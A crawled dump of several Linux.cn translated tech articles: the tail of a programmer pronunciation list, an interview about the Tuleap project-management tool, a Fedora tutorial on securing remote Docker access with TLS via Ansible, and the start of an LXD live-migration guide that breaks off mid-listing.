m/dictvoice?audio=null&type=1)/nʌl/[🔊](https://dict.youdao.com/dictvoice?audio=null&type=2)/nʌl/[🔊](https://dict.youdao.com/dictvoice?audio=obsolete&type=1)/ˈɒbsəliːt/[🔊](https://dict.youdao.com/dictvoice?audio=obsolete&type=2)/ˌɑːbsəˈliːt/[🔊](https://dict.youdao.com/dictvoice?audio=phantom&type=1)/'fæntəm/[🔊](https://dict.youdao.com/dictvoice?audio=phantom&type=2)/ˈfæntəm/[🔊](https://dict.youdao.com/dictvoice?audio=parameter&type=1)/pə'ræmɪtə/[🔊](https://dict.youdao.com/dictvoice?audio=parameter&type=2)/pəˈræmɪtər/[🔊](https://dict.youdao.com/dictvoice?audio=premise&type=1)/ˈpremɪs/[🔊](https://dict.youdao.com/dictvoice?audio=premise&type=2)/ˈpremɪs/[🔊](https://dict.youdao.com/dictvoice?audio=privilege&type=1)/'prɪvəlɪdʒ/[🔊](https://dict.youdao.com/dictvoice?audio=privilege&type=2)/ˈprɪvəlɪdʒ/[🔊](https://dict.youdao.com/dictvoice?audio=probe&type=1)/prəʊb/[🔊](https://dict.youdao.com/dictvoice?audio=probe&type=2)/proʊb/[🔊](https://dict.youdao.com/dictvoice?audio=prometheus&type=1)/prə-ˈmē-thē-əs/[🔊](https://dict.youdao.com/dictvoice?audio=prometheus&type=2)/pro'miθɪəs/[🔊](https://dict.youdao.com/dictvoice?audio=putty&type=1)/ˈpʌti/[🔊](https://dict.youdao.com/dictvoice?audio=putty&type=2)/ˈpʌti/[🔊](https://dict.youdao.com/dictvoice?audio=cute&type=1)/kjuːt/[🔊](https://dict.youdao.com/dictvoice?audio=cute&type=2)/kjuːt/[🔊](https://dict.youdao.com/dictvoice?audio=query&type=1)/'kwɪəri/[🔊](https://dict.youdao.com/dictvoice?audio=query&type=2)/ˈkwɪri/[🔊](https://dict.youdao.com/dictvoice?audio=realm&type=1)/relm/[🔊](https://dict.youdao.com/dictvoice?audio=realm&type=2)/relm/[🔊](https://dict.youdao.com/dictvoice?audio=reconcile&type=1)/ˈrekənsaɪl/[🔊](https://dict.youdao.com/dictvoice?audio=reconcile&type=2)/ˈrekənsaɪl/[🔊](https://dict.youdao.com/dictvoice?audio=redux&type=1)/ri'dʌks/[🔊](https://dict.youdao.com/dictvoice?audio=redux&type=2)/ri'dʌks/[🔊](https://dict.youdao.com/dictvoice?audio=resume&type=1)/rɪ'zju:m/[🔊](https://dict.youdao.com/dictvoice?audio=resume&type=2)/rɪˈzuːm/[🔊](https://dict.youdao.com/dictvoice?audio=r%C3%A9sum%C3%A9&type=1)/rezjumeɪ/[🔊](https://dict.youdao.com/dictvoice?audio=r%C3%A9sum%C3%A9&type=2)/ˈrezəmeɪ/[🔊](https://dict.youdao.com/dictvoice?audio=resolved&type=1)/rɪ'zɒlvd/[🔊](https://dict.youdao.com/dictvoice?audio=resolved&type=2)/rɪˈzɑːlvd/[🔊](https://dict.youdao.com/dictvoice?audio=resort&type=1)/rɪˈzɔ:t/[🔊](https://dict.youdao.com/dictvoice?audio=resort&type=2)/rɪˈzɔːrt/[🔊](https://dict.youdao.com/dictvoice?audio=retina&type=1)/'retɪnə/[🔊](https://dict.youdao.com/dictvoice?audio=retina&type=2)/ˈretɪnə/[🔊](https://dict.youdao.com/dictvoice?audio=risk-five&type=1)/'rɪsk faɪv/[🔊](https://dict.youdao.com/dictvoice?audio=risk-five&type=2)/'rɪsk faɪv/[🔊](https://dict.youdao.com/dictvoice?audio=route&type=1)/ruːt/[🔊](https://dict.youdao.com/dictvoice?audio=route&type=2)/ruːt,raʊt/[🔊](https://dict.youdao.com/dictvoice?audio=san%20jose&type=1)/sænhəu'zei/[🔊](https://dict.youdao.com/dictvoice?audio=san%20jose&type=2)/sænhəu'zei/[🔊](https://dict.youdao.com/dictvoice?audio=safari&type=1)/sə'fɑːrɪ/[🔊](https://dict.youdao.com/dictvoice?audio=safari&type=2)/səˈfɑːri/[🔊](https://dict.youdao.com/dictvoice?audio=scheme&type=1)/skiːm/[🔊](https://dict.youdao.com/dictvoice?audio=scheme&type=2)/skiːm/[🔊](https://dict.youdao.com/dictvoice?audio=scala&type=1)/ˈskɑːlɑ/[🔊](https://dict.youdao.com/dictvoice?audio=scala&type=2)/ˈskɑːlɑ/[🔊](https://dict.youdao.com/dictvoice?audio=segue&type=1)/'sɛɡwe/[🔊](https://dict.youdao.com/dictvoice?audio=segue&type=2)/ˈseɡweɪ/[🔊](https://dict.youdao.com/dictvoice?audio=suite&type=1)/swiːt/[🔊](https://dict.youdao.com/dictvoice?audio=suite&type=2)/swiːt/[🔊](https://dict.youdao.com/dictvoice?audio=telemetry&type=1)/təˈlemətri/[🔊](https://dict.youdao.com/dictvoice?audio=telemetry&type=2)/təˈlemətri/[🔊](https://dict.youdao.com/dictvoice?audio=thymeleaf&type=1)/ˈtaɪmˌlɪːf/[🔊](https://dict.youdao.com/dictvoice?audio=thymeleaf&type=2)/ˈtaɪmˌlɪːf/[🔊](https://dict.youdao.com/dictvoice?audio=tuple&type=1)/tjʊpəl/[🔊](https://dict.youdao.com/dictvoice?audio=tuple&type=2)/tuːpəl/[🔊](https://dict.youdao.com/dictvoice?audio=typical&type=1)/'tɪpɪkl/[🔊](https://dict.youdao.com/dictvoice?audio=typical&type=2)/ˈtɪpɪkl/[🔊](https://upload.wikimedia.org/wikipedia/commons/b/b5/En-Ubuntu_pronunciation.oga)/ʊ'bʊntʊ/[🔊](https://upload.wikimedia.org/wikipedia/commons/b/b5/En-Ubuntu_pronunciation.oga)/ʊ'bʊntʊ/[🔊](https://dict.youdao.com/dictvoice?audio=Vagrant&type=1)/ˈveɪɡrənt/[🔊](https://dict.youdao.com/dictvoice?audio=Vagrant&type=2)/ˈveɪɡrənt/[🔊](https://dict.youdao.com/dictvoice?audio=variable&type=1)/'veəriəbl/[🔊](https://dict.youdao.com/dictvoice?audio=variable&type=2)/ˈveriəbl,ˈværiəbl/[🔊](https://dict.youdao.com/dictvoice?audio=verbose&type=1)/vɜːˈbəʊs/[🔊](https://dict.youdao.com/dictvoice?audio=verbose&type=2)/vɜːrˈboʊs/[🔊](https://dict.youdao.com/dictvoice?audio=vue&type=1)/v'ju:/[🔊](https://dict.youdao.com/dictvoice?audio=vue&type=2)/v'ju:/[🔊](https://dict.youdao.com/dictvoice?audio=width&type=1)/wɪdθ/[🔊](https://dict.youdao.com/dictvoice?audio=width&type=2)/wɪdθ,wɪtθ/[🔊](https://dict.youdao.com/dictvoice?audio=youtube&type=1)/'juː'tjuːb/[🔊](https://dict.youdao.com/dictvoice?audio=youtube&type=2)/'juː'tjuːb/[🔊](https://dict.youdao.com/dictvoice?audio=vite&type=1)/vit/[🔊](https://dict.youdao.com/dictvoice?audio=vite&type=2)/vit/- 无页面跳转,页面嵌入搜索引擎和实时检索英语发音,请安装
[chromium 扩展](/shimohq/chinese-programmer-wrong-pronunciation/blob/master/tools/chromium_extension/README.md) - 当使用简名 ‘Kube’ 称呼 ‘Kubernetes’ 时, 发音则与 ‘cube’(/kjuːb/) 一致
- 真人发音:
[https://www.bilibili.com/video/bv1nv411i7z3](https://www.bilibili.com/video/bv1nv411i7z3)(by @hailintao) - 简洁的单词列表,正确读音不用再打开新网页:
[https://cpwp.netlify.app/](https://cpwp.netlify.app/)(by @antfu7) - 国际音标严式记音(纽约音)
[https://github.com/b1f6c1c4/programming-pronunciations-en_US](https://github.com/b1f6c1c4/programming-pronunciations-en_US)(by @b1f6c1c4) - 单词连读:
[https://corrector.justsong.cn/](https://corrector.justsong.cn/)(by[@songquanpeng](https://github.com/songquanpeng/pronunciation-corrector)) [iOS app](https://apps.apple.com/cn/app/%E7%8C%BF%E5%8D%95%E8%AF%8D-%E4%B8%AD%E5%9B%BD%E7%A8%8B%E5%BA%8F%E5%91%98%E5%AE%B9%E6%98%93%E5%8F%91%E9%9F%B3%E9%94%99%E8%AF%AF%E7%9A%84%E5%8D%95%E8%AF%8D/id1626487291)(by @Chang12)[chromium系浏览器扩展,无页面跳转,实时检索英语发音](https://github.com/jingjingxyk/chinese-programmer-wrong-pronunciation-chromium-extension.git)(by @jingjingxyk)
- 本着简单的原则, 又为了避免程序猿们出现选择困难症, '正确音标'采用了最接近有道词典音频的英式DJ音标,不代表其唯一性
- 专业在线英语词典请参考:
[在线英语词典哪个比较好?](https://www.zhihu.com/question/19707759) |
8,261 | 将 Tuleap 用于软件项目管理 | https://opensource.com/article/17/1/interview-Tuleap-project | 2017-03-03T10:06:00 | [
"项目管理",
"Bugzilla",
"Tuleap"
] | https://linux.cn/article-8261-1.html |
>
> [Eclipse 基金会](http://www.eclipse.org/)使用 Tuleap 取代了 Bugzilla。
>
>
>

Tuleap 是一个独特的开源项目管理工具,目前发展势头很好,现在,每个月它会出一个大版本。它还被列在 [2015 年五大开源项目管理工具](https://opensource.com/business/15/1/top-project-management-tools-2015)和 [2016 年十一个名列前茅项目管理工具](https://opensource.com/business/16/3/top-project-management-tools-2016)中。
Manuel Vacelet 是开发 Tuleap 项目的 Enalean 公司的联合创始人和 CTO,他说:“Tuleap 是一个完整用于托管软件项目的 GPLv2 平台,它提供了一个集中化的平台,在这里,团队可以找到他们所需的所有工具,追踪他们软件项目的生命周期。他们可以找到项目管理(Scrum、看板、瀑布、混合等等)、源码控制(git 和 svn)和代码审查(pull 请求和 gerrit)、持续集成、问题跟踪、wiki 和文档等的支持。”


在这次采访中,我会和 Manuel 讨论如何开始使用它,以及如何以开源方式管理 Tuleap。
**Nitish Tiwari(以下简称 NT): 为什么 Tuleap 项目很重要?**
**Manuel Vacelet(以下简称 MV):** Tuleap 很重要是因为我们坚信一个成功的(软件)项目必须涉及所有利益相关者:开发人员、项目经理、QA、客户和用户。
很久以前,我还是一个 SourceForge 衍生项目的实习生(当时 SourceForge 还是一个自由开源项目),几年后它变成了 Tuleap。 我的第一个贡献是将 PhpWiki 集成到该工具中(不要告诉任何人,代码写的很糟)。
现在,我很高兴作为首席技术官和产品负责人在 Enalean 工作,该公司是 Tuleap 项目的主要贡献公司。
**NT:让我们聊聊技术方面。**
**MV:** Tuleap 核心系统是基于 LAMP 并且架构于 CentOS 之上。如今的开发栈是 AngularJS (v1)、REST 后端(PHP)、基于 NodeJS 的实时推送服务器。但如果你想成为一名 Tuleap 全栈开发人员,你还将需要接触 bash、Perl、Python、Docker、Make 等等。
说到技术方面,需要重点强调的 Tuleap 的一个显著特征是它的可扩展性。一个运行在单服务器上的 Tuleap 单一实例、并且没有复杂的 IT 架构,可以处理超过 10000 人的访问。
**NT:给我们说下该项目的用户和社区。有谁参与?他们如何使用这个工具?**
**MV:** 用户非常多样化。从使用 Tuleap 跟踪他们的项目进度并管理他们的源代码的小型初创公司,到非常大的公司,如法国电信运营商 Orange,它为超过 17000 用户部署了它,并托管了 5000 个项目。
许多用户依靠 Tuleap 来促进敏捷项目并跟踪其进度。开发人员和客户共享同一个工作区。客户不需要学习如何使用 GitHub,也不需要开发人员做额外的工作,就可以将其工作转换到“客户可访问”平台。
今年, [Eclipse 基金会](http://www.eclipse.org/)使用 Tuleap 取代了 Bugzilla。
印度电子信息技术部使用 Tuleap 创建了印度政府开放电子政务的开放式协作开发平台。
Tuleap 有许多种不同的使用方式和配置。有些人使用它作为 Drupal 客户门户网站的后端; 它们通过 REST API 插入到 Tuleap 中以管理 bug 和服务请求。
甚至一些建筑师也使用它来管理他们的工作进度和 AutoCAD 文件。
**NT:Tuleap 是否做了一些特别的事,使社区更安全,更多样化?**
**MV:** 我们还没有创建“行为准则”;本社区非常平和而欢迎新人,但我们有计划这样做。Tuleap 的开发人员和贡献者来自不同的国家(例如加拿大、突尼斯、法国)。而且 35% 的活跃开发者和贡献者是女性。
**NT:由社区提议的 Tuleap 功能的百分比是多少?**
**MV:** 几乎 100% 的功能是由社区驱动的。
这是 Enalean 的关键挑战之一:找到一种商业模式,使我们能以正确的方式做开源软件。对我们来说,“开放核心”模式(其中应用程序的核心是开放的,但有趣和有用的部分是封闭源的)不是正确的方法,因为你最终还是要依赖闭源。因此,我们发明了 [OpenRoadmap](https://blog.enalean.com/enalean-open-roadmap-how-it-works/),这种方式是我们从社区和最终用户那里收集需求,并找公司来为此买单。
---
作者简介:
Nitish 是一名专业的软件开发人员并对开源有热情。作为一本基于 Linux 的杂志的技术作者,他会尝试新的开源工具。他喜欢阅读和探索任何开源相关的事情。在他的空闲时间,他喜欢读励志书。他目前正在构建 DevUp - 一个让开发人员以真正的方式连接所有工具和拥抱 DevOps 的平台。你可以在 Twitter 上关注他 @tiwari\_nitish。
---
via: <https://opensource.com/article/17/1/interview-Tuleap-project>
作者:[Nitish Tiwari](https://opensource.com/users/tiwarinitish86) 译者:[geekpi](https://github.com/geeki) 校对:[jamsinepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 200 | OK | Tuleap is a unique open source project management tool with great momentum right now, every month they have one major release. It's also been listed it in both the [Top 5 open source project management tools in 2015](https://opensource.com/business/15/1/top-project-management-tools-2015) and the [Top 11 project management tools for 2016](https://opensource.com/business/16/3/top-project-management-tools-2016).
"Tuleap is a complete GPLv2 platform to host software projects. It provides a central place where teams can find all the tools they need to track their software projects lifecycle successfully. They will find support for project management (scrum, kanban, waterfall, hybrid, etc.), source control (git and svn) and code review (pull requests and gerrit), continuous integration, issue tracking, wiki, and documentation," said Manuel Vacelet, co-founder and CTO of Enalean, the company behind the Tuleap project.
In this interview I talk with Manuel about how it all got started and how they manage Tuleap in an open source way.
**Nitish Tiwari (NT): Why does the Tuleap project matter? **
**Manuel Vacelet (MV):** Tuleap matters because we strongly believe that a successful (software) project must involve all the stakeholders: developers, project managers, QA, customers, and users.
A long time ago I was an intern on a fork of SourceForge (back when SourceForge was a free and open source project), and it would eventually become Tuleap years after. My first contribution was to integrate PhpWiki into the tool (don't tell anybody, the code is scary).
Now, I'm happy to work as CTO and product owner at Enalean, the main company contributing to the Tuleap project.
**NT: Tell us about the technical aspects.**
**MV:** Tuleap core system is LAMP-based and relies on CentOS. Today's development stack is done with AngularJS (v1) with a REST backend (PHP) and a NodeJS-based real-time server for push notification. But if you wish to be a fullstack Tuleap developer, you will also touch bash, Perl, Python, Docker, Make.
Speaking of technical aspects, it's important to underline that one of the distinctive features of Tuleap is its scalability. A single instance of Tuleap, on a single server, with no complicated IT, can handle over 10,000 people.
**NT: Tell us about the users and the community around the project. Who's involved? How do they use the tool?**
**MV:** The users are very varied. From small startups using Tuleap to keep track of their project advancement and manage their source code to very large companies, like the French telecom operator Orange, which deployed it to over 17,000 users and 5,000 projects hosted.
Many users rely on Tuleap to facilitate agile projects and track their progress. Developers and customers share the same workspace. There is no need for customers to learn how to use GitHub, nor for developers to have an additional layer of work to transcribe their work on a "customer accessible" platform.
This year, Tuleap is being used by the [Eclipse Foundation](http://www.eclipse.org/), replacing Bugzilla.
The Indian Ministry of Electronics & Information Technology has created the Government of India's platform for open collaborative development of e-governance applications using Tuleap.
Tuleap is used in a number of different ways and configurations. Some people use it as a backend for their Drupal customer facing websites; they plug via the REST API's into Tuleap to manage bugs and service requests.
Even some architects are using it to manage their work advancement and AutoCAD files.
**NT: Does Tuleap do anything special to make the community a safe and diverse place?**
**MV:** We haven't created a "Code of Conduct" yet; the community is really peaceful and welcoming, but we plan to do that. Tuleap developers and contributors come from different countries (i.e., Canada, Tunisia, France). And 35% of active developers and contributors are women.
**NT: What percentage of Tuleap features are suggested by the community?**
**MV:** Almost 100% of the features are community-driven.
It was one of Enalean's key challenges: to find a business model that allows us to do open source software the right way. To us, the "open core" model (where the core of the application is open, but the interesting and useful parts are closed source) is not the right way because you depend on closed source at the end of the day. So we invented the [OpenRoadmap](https://blog.enalean.com/enalean-open-roadmap-how-it-works/), a way for us to gather needs from community and end users and find companies to pay for it.
## Comments are closed. |
8,262 | 在 Atomic 主机上远程使用 Docker | https://fedoramagazine.org/use-docker-remotely-atomic-host/ | 2017-03-03T10:34:45 | [
"Docker",
"Atomic"
] | https://linux.cn/article-8262-1.html | 
来自 [Atomic 项目](http://www.projectatomic.io/) 的 Atomic 主机是一个轻量级的容器基于的操作系统,它可以运行 Linux 容器。它已被优化为用作云环境的容器运行时系统。例如,它可以托管 Docker 守护进程和容器。有时,你可能需要在该主机上运行 docker 命令,并从其他地方管理服务器。本文介绍如何远程访问 Fedora Atomic 主机([你可以在这里下载到它](https://getfedora.org/atomic/))上的 [Docker](https://www.docker.com/) 守护进程。整个过程由 [Ansible](https://www.ansible.com/) 自动完成 - 在涉及到自动化的一切上,这真是一个伟大的工具!
### 安全备忘录
由于我们通过网络连接,所以我们使用 [TLS](https://en.wikipedia.org/wiki/Transport_Layer_Security) 保护 Docker 守护进程。此过程需要客户端证书和服务器证书。OpenSSL 包用于创建用于建立 TLS 连接的证书密钥。这里,Atomic 主机运行守护程序,我们的本地的 [Fedora Workstation](https://getfedora.org/en/workstation/) 充当客户端。
在你按照这些步骤进行之前,请注意,*任何*在客户端上可以访问 TLS 证书的进程在服务器上具有**完全的 root 访问权限**。 因此,客户端可以在服务器上做任何它想做的事情。我们需要仅向可信任的特定客户端主机授予证书访问权限。你应该将客户端证书仅复制到完全由你控制的客户端主机。但即使在这种情况下,客户端机器的安全也至关重要。
不过,此方法只是远程访问守护程序的一种方法。编排工具通常提供更安全的控制。下面的简单方法适用于个人实验,可能不适合开放式网络。
### 获取 Ansible role
[Chris Houseknecht](https://twitter.com/CHouseknecht) 写了一个 Ansible role,它会创造所需的所有证书。这样,你不需要手动运行 `openssl` 命令了。 这些在 [Ansible role 仓库](https://github.com/ansible/role-secure-docker-daemon)中提供。将它克隆到你当前的工作主机。
```
$ mkdir docker-remote-access
$ cd docker-remote-access
$ git clone https://github.com/ansible/role-secure-docker-daemon.git
```
### 创建配置文件
接下来,你必须创建 Ansible 配置文件、<ruby> 清单 <rp> ( </rp> <rt> inventory </rt> <rp> ) </rp></ruby>和<ruby> 剧本 <rp> ( </rp> <rt> playbook </rt> <rp> ) </rp></ruby>文件以设置客户端和守护进程。以下说明在 Atomic 主机上创建客户端和服务器证书。然后,获取客户端证书到本地。最后,它们会配置守护进程以及客户端,使它们能彼此交互。
这里是你需要的目录结构。如下所示,创建下面的每个文件。
```
$ tree docker-remote-access/
docker-remote-access/
├── ansible.cfg
├── inventory
├── remote-access.yml
└── role-secure-docker-daemon
```
`ansible.cfg`:
```
$ vim ansible.cfg
```
```
[defaults]
inventory=inventory
```
清单文件(`inventory`):
```
$ vim inventory
```
```
[daemonhost]
'IP_OF_ATOMIC_HOST' ansible_ssh_private_key_file='PRIVATE_KEY_FILE'
```
将清单文件(`inventory`) 中的 `IP_OF_ATOMIC_HOST` 替换为 Atomic 主机的 IP。将 `PRIVATE_KEY_FILE` 替换为本地系统上的 SSH 私钥文件的位置。
剧本文件(`remote-access.yml`):
```
$ vim remote-access.yml
```
```
- name: Docker Client Set up
hosts: daemonhost
gather_facts: no
tasks:
- name: Make ~/.docker directory for docker certs
local_action: file path='~/.docker' state='directory'
- name: Add Environment variables to ~/.bashrc
local_action: lineinfile dest='~/.bashrc' line='export DOCKER_TLS_VERIFY=1\nexport DOCKER_CERT_PATH=~/.docker/\nexport DOCKER_HOST=tcp://{{ inventory_hostname }}:2376\n' state='present'
- name: Source ~/.bashrc file
local_action: shell source ~/.bashrc
- name: Docker Daemon Set up
hosts: daemonhost
gather_facts: no
remote_user: fedora
become: yes
become_method: sudo
become_user: root
roles:
- role: role-secure-docker-daemon
dds_host: "{{ inventory_hostname }}"
dds_server_cert_path: /etc/docker
dds_restart_docker: no
tasks:
- name: fetch ca.pem from daemon host
fetch:
src: /root/.docker/ca.pem
dest: ~/.docker/
fail_on_missing: yes
flat: yes
- name: fetch cert.pem from daemon host
fetch:
src: /root/.docker/cert.pem
dest: ~/.docker/
fail_on_missing: yes
flat: yes
- name: fetch key.pem from daemon host
fetch:
src: /root/.docker/key.pem
dest: ~/.docker/
fail_on_missing: yes
flat: yes
- name: Remove Environment variable OPTIONS from /etc/sysconfig/docker
lineinfile:
dest: /etc/sysconfig/docker
regexp: '^OPTIONS'
state: absent
- name: Modify Environment variable OPTIONS in /etc/sysconfig/docker
lineinfile:
dest: /etc/sysconfig/docker
line: "OPTIONS='--selinux-enabled --log-driver=journald --tlsverify --tlscacert=/etc/docker/ca.pem --tlscert=/etc/docker/server-cert.pem --tlskey=/etc/docker/server-key.pem -H=0.0.0.0:2376 -H=unix:///var/run/docker.sock'"
state: present
- name: Remove client certs from daemon host
file:
path: /root/.docker
state: absent
- name: Reload Docker daemon
command: systemctl daemon-reload
- name: Restart Docker daemon
command: systemctl restart docker.service
```
### 访问 Atomic 主机
现在运行 Ansible 剧本:
```
$ ansible-playbook remote-access.yml
```
确保 tcp 端口 2376 在你的 Atomic 主机上打开了。如果你在使用 Openstack,请在安全规则中添加 TCP 端口 2376。 如果你使用 AWS,请将其添加到你的安全组。
现在,在你的工作站上作为普通用户运行的 `docker` 命令与 Atomic 主机的守护进程通信,并在那里执行命令。你不需要手动 `ssh` 或在 Atomic 主机上发出命令。这可以让你远程、轻松、安全地启动容器化应用程序。
如果你想克隆 Ansible 剧本和配置文件,这里是 [git 仓库](https://github.com/trishnaguha/fedora-cloud-ansible/tree/master/docker-remote-access)。

---
via: <https://fedoramagazine.org/use-docker-remotely-atomic-host/>
作者:[Trishna Guha](http://trishnag.id.fedoraproject.org/) 译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 200 | OK | Atomic Host from [Project Atomic](http://www.projectatomic.io/) is a lightweight container based OS that can run Linux containers. It’s been optimized to use as a container run-time system for cloud environments. For instance, it can host a Docker daemon and containers. At times, you may want to run docker commands on that host and manage the server from elsewhere. This article shows you how to remotely access the [Docker](https://www.docker.com/) daemon of the Fedora Atomic Host, [which you can download here.](https://getfedora.org/atomic/) The entire process is automated by [Ansible](https://www.ansible.com/) — which is a great tool when it comes to automating everything.
## A note on security
We’ll secure the Docker daemon with [TLS](https://en.wikipedia.org/wiki/Transport_Layer_Security), since we’re connecting via the network. This process requires a client certificate and server certificate. The OpenSSL package is used to to create the certificate keys for establishing a TLS connection. Here, the Atomic Host is running the daemon, and our local [Fedora Workstation](https://getfedora.org/en/workstation/) acts as a client.
Before you follow these steps, note that *any* process on the client that can access the TLS certs now has **full root access on the server.** Thus, the client can do anything it wants to do on the server. Therefore, we need to give cert access only to the specific client host that can be trusted. You should copy the client certificates only to a client host completely under your control. Even in that case, client machine security is critical.
However, this method is only one way to remotely access the daemon. Orchestration tools often provide more secure controls. The simple method below works for personal experimenting, but may not be appropriate for an open network.
## Getting the Ansible role
[Chris Houseknecht](https://twitter.com/CHouseknecht) wrote an Ansible role that creates all the certs required. This way you don’t need to run *openssl* commands manually. These are provided in an [Ansible role repository](https://github.com/ansible/role-secure-docker-daemon). Clone it to your present working host.
$ mkdir docker-remote-access $ cd docker-remote-access $ git clone https://github.com/ansible/role-secure-docker-daemon.git
## Create config files
Next, you must create an Ansible configuration file, inventory and playbook file to setup the client and daemon. The following instructions create client and server certs on the Atomic Host. Then, they fetch the client certs to the local machine. Finally, they configure the daemon and client so they talk to each other.
Here is the directory structure you need. Create each of the files below as shown.
$ tree docker-remote-access/ docker-remote-access/ ├── ansible.cfg ├── inventory ├── remote-access.yml └── role-secure-docker-daemon
*ansible.cfg*
$ vim ansible.cfg [defaults] inventory=inventory
*inventory*
$ vim inventory [daemonhost] 'IP_OF_ATOMIC_HOST' ansible_ssh_private_key_file='PRIVATE_KEY_FILE'
Replace *IP_OF_ATOMIC_HOST* in the inventory file with the IP of your Atomic Host. Replace *PRIVATE_KEY_FILE* with the location of the SSH private key file on your local system.
*remote-access.yml*
$ vim remote-access.yml --- - name: Docker Client Set up hosts: daemonhost gather_facts: no tasks: - name: Make ~/.docker directory for docker certs local_action: file path='~/.docker' state='directory' - name: Add Environment variables to ~/.bashrc local_action: lineinfile dest='~/.bashrc' line='export DOCKER_TLS_VERIFY=1\nexport DOCKER_CERT_PATH=~/.docker/\nexport DOCKER_HOST=tcp://{{ inventory_hostname }}:2376\n' state='present' - name: Source ~/.bashrc file local_action: shell source ~/.bashrc - name: Docker Daemon Set up hosts: daemonhost gather_facts: no remote_user: fedora become: yes become_method: sudo become_user: root roles: - role: role-secure-docker-daemon dds_host: "{{ inventory_hostname }}" dds_server_cert_path: /etc/docker dds_restart_docker: no tasks: - name: fetch ca.pem from daemon host fetch: src: /root/.docker/ca.pem dest: ~/.docker/ fail_on_missing: yes flat: yes - name: fetch cert.pem from daemon host fetch: src: /root/.docker/cert.pem dest: ~/.docker/ fail_on_missing: yes flat: yes - name: fetch key.pem from daemon host fetch: src: /root/.docker/key.pem dest: ~/.docker/ fail_on_missing: yes flat: yes - name: Remove Environment variable OPTIONS from /etc/sysconfig/docker lineinfile: dest: /etc/sysconfig/docker regexp: '^OPTIONS' state: absent - name: Modify Environment variable OPTIONS in /etc/sysconfig/docker lineinfile: dest: /etc/sysconfig/docker line: "OPTIONS='--selinux-enabled --log-driver=journald --tlsverify --tlscacert=/etc/docker/ca.pem --tlscert=/etc/docker/server-cert.pem --tlskey=/etc/docker/server-key.pem -H=0.0.0.0:2376 -H=unix:///var/run/docker.sock'" state: present - name: Remove client certs from daemon host file: path: /root/.docker state: absent - name: Reload Docker daemon command: systemctl daemon-reload - name: Restart Docker daemon command: systemctl restart docker.service
## Access the remote Atomic Host
Now, run the Ansible playbook:
$ ansible-playbook remote-access.yml
Make sure that the tcp port 2376 is opened on your Atomic Host. If you’re using Openstack, add TCP port 2376 in your security rule. If you’re using AWS, add it to your security group.
Now, a *docker* command run as a regular user on your workstation talks to the daemon of the Atomic host, and executes the command there. You don’t need to manually *ssh* or issue a command on your Atomic host. This allows you to launch containerized applications remotely and easily, yet securely.
If you want to clone the playbook and the config file, there is [a git repository available here](https://github.com/trishnaguha/fedora-cloud-ansible/tree/master/docker-remote-access).
*Image courtesy of Axel Ahoi — originally posted to *
**Unsplash**. |
8,263 | LXD 2.0 系列(九):实时迁移 | https://stgraber.org/2016/04/25/lxd-2-0-live-migration-912/ | 2017-03-04T10:17:00 | [
"LXD"
] | https://linux.cn/article-8263-1.html | 这是 LXD 2.0 系列介绍文章的第九篇。
1. [LXD 入门](/article-7618-1.html)
2. [安装与配置](/article-7687-1.html)
3. [你的第一个 LXD 容器](/article-7706-1.html)
4. [资源控制](/article-8072-1.html)
5. [镜像管理](/article-8107-1.html)
6. [远程主机及容器迁移](/article-8169-1.html)
7. [LXD 中的 Docker](/article-8235-1.html)
8. [LXD 中的 LXD](/article-8257-1.html)
9. [实时迁移](/article-8263-1.html)
10. [LXD 和 Juju](/article-8273-1.html)
11. [LXD 和 OpenStack](/article-8274-1.html)
12. [调试,及给 LXD 做贡献](/article-8282-1.html)

### 介绍
LXD 2.0 中的有一个尽管是实验性质的但非常令人兴奋的功能,那就是支持容器检查点和恢复。
简单地说,检查点/恢复意味着正在运行的容器状态可以被序列化到磁盘,要么可以作为同一主机上的有状态快照,要么放到另一主机上相当于实时迁移。
### 要求
要使用容器实时迁移和有状态快照,你需要以下条件:
* 一个非常新的 Linux 内核,4.4 或更高版本。
* CRIU 2.0,可能需要一些 cherry-pick 的提交,具体取决于你确切的内核配置。
* 直接在主机上运行 LXD。 不能在容器嵌套下使用这些功能。
* 对于迁移,目标主机必须至少实现源主机的指令集,目标主机内核必须至少提供与源主机相同的系统调用,并且在源主机上挂载的任何内核文件系统也必须可挂载到目标主机上。
Ubuntu 16.04 LTS 已经提供了所有需要的依赖,在这种情况下,您只需要安装 CRIU 本身:
```
apt install criu
```
### 使用 CRIU
#### 有状态快照
一个普通的快照看上去像这样:
```
stgraber@dakara:~$ lxc snapshot c1 first
stgraber@dakara:~$ lxc info c1 | grep first
first (taken at 2016/04/25 19:35 UTC) (stateless)
```
一个有状态快照看上去像这样:
```
stgraber@dakara:~$ lxc snapshot c1 second --stateful
stgraber@dakara:~$ lxc info c1 | grep second
second (taken at 2016/04/25 19:36 UTC) (stateful)
```
这意味着所有容器运行时状态都被序列化到磁盘并且作为了快照的一部分。可以像你还原无状态快照那样还原一个有状态快照:
```
stgraber@dakara:~$ lxc restore c1 second
stgraber@dakara:~$
```
#### 有状态快照的停止/启动
比方说你由于升级内核或者其他类似的维护而需要重启机器。与其等待重启后启动所有的容器,你可以:
```
stgraber@dakara:~$ lxc stop c1 --stateful
```
容器状态将会写入到磁盘,会在下次启动时读取。
你甚至可以看到像下面那样的状态:
```
root@dakara:~# tree /var/lib/lxd/containers/c1/rootfs/state/
/var/lib/lxd/containers/c1/rootfs/state/
├── cgroup.img
├── core-101.img
├── core-102.img
├── core-107.img
├── core-108.img
├── core-109.img
├── core-113.img
├── core-114.img
├── core-122.img
├── core-125.img
├── core-126.img
├── core-127.img
├── core-183.img
├── core-1.img
├── core-245.img
├── core-246.img
├── core-50.img
├── core-52.img
├── core-95.img
├── core-96.img
├── core-97.img
├── core-98.img
├── dump.log
├── eventfd.img
├── eventpoll.img
├── fdinfo-10.img
├── fdinfo-11.img
├── fdinfo-12.img
├── fdinfo-13.img
├── fdinfo-14.img
├── fdinfo-2.img
├── fdinfo-3.img
├── fdinfo-4.img
├── fdinfo-5.img
├── fdinfo-6.img
├── fdinfo-7.img
├── fdinfo-8.img
├── fdinfo-9.img
├── fifo-data.img
├── fifo.img
├── filelocks.img
├── fs-101.img
├── fs-113.img
├── fs-122.img
├── fs-183.img
├── fs-1.img
├── fs-245.img
├── fs-246.img
├── fs-50.img
├── fs-52.img
├── fs-95.img
├── fs-96.img
├── fs-97.img
